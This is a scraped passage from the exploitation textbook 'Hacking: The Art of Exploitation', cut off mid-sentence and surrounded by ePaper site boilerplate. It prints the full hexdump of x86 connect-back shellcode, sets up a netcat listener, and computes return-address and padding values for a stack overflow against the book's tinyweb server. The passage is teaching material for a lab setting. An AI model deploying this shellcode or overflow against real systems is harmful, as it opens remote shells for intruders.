26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Since <strong>the</strong>se values are stored in network byte order but <strong>the</strong> x86 architecture<br />

is in little-endian order, <strong>the</strong> stored DWORD seems to be reversed. This<br />

means <strong>the</strong> DWORD for 192.168.42.72 is 0x482aa8c0. This also applies for <strong>the</strong><br />

two-byte WORD used for <strong>the</strong> destination port. When <strong>the</strong> port number 31337<br />

is printed in hexadecimal using gdb, <strong>the</strong> byte order is shown in little-endian<br />

order. This means <strong>the</strong> displayed bytes must be reversed, so WORD for 31337<br />

is 0x697a.<br />

The netcat program can also be used to listen for incoming connections<br />

with <strong>the</strong> -l command-line option. This is used in <strong>the</strong> output below to listen<br />

on port 31337 for <strong>the</strong> connect-back shellcode. The ifconfig command ensures<br />

<strong>the</strong> IP address <strong>of</strong> eth0 is 192.168.42.72 so <strong>the</strong> shellcode can connect back to it.<br />

reader@<strong>hacking</strong>:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up<br />

reader@<strong>hacking</strong>:~/booksrc $ ifconfig eth0<br />

eth0 Link encap:E<strong>the</strong>rnet HWaddr 00:01:6C:EB:1D:50<br />

inet addr:192.168.42.72 Bcast:192.168.42.255 Mask:255.255.255.0<br />

UP BROADCAST MULTICAST MTU:1500 Metric:1<br />

RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br />

collisions:0 txqueuelen:1000<br />

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)<br />

Interrupt:16<br />

reader@<strong>hacking</strong>:~/booksrc $ nc -v -l -p 31337<br />

listening on [any] 31337 ...<br />

Now, let’s try to exploit <strong>the</strong> tinyweb server program using <strong>the</strong> connectback<br />

shellcode. From working with this program before, we know that <strong>the</strong><br />

request buffer is 500 bytes long and is located at 0xbffff5c0 in stack memory.<br />

We also know that <strong>the</strong> return address is found within 40 bytes <strong>of</strong> <strong>the</strong> end <strong>of</strong><br />

<strong>the</strong> buffer.<br />

reader@<strong>hacking</strong>:~/booksrc $ nasm connectback_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C connectback_shell<br />

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|<br />

00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|<br />

00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|<br />

00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|<br />

00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|<br />

0000004e<br />

reader@<strong>hacking</strong>:~/booksrc $ wc -c connectback_shell<br />

78 connectback_shell<br />

reader@<strong>hacking</strong>:~/booksrc $ echo $(( 544 - (4*16) - 78 ))<br />

402<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"<br />

$1 = 0xbffff688<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Since <strong>the</strong> <strong>of</strong>fset from <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> buffer to <strong>the</strong> return address is<br />

540 bytes, a total <strong>of</strong> 544 bytes must be written to overwrite <strong>the</strong> four-byte return<br />

address. The return address overwrite also needs to be properly aligned, since<br />

316 0x500

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!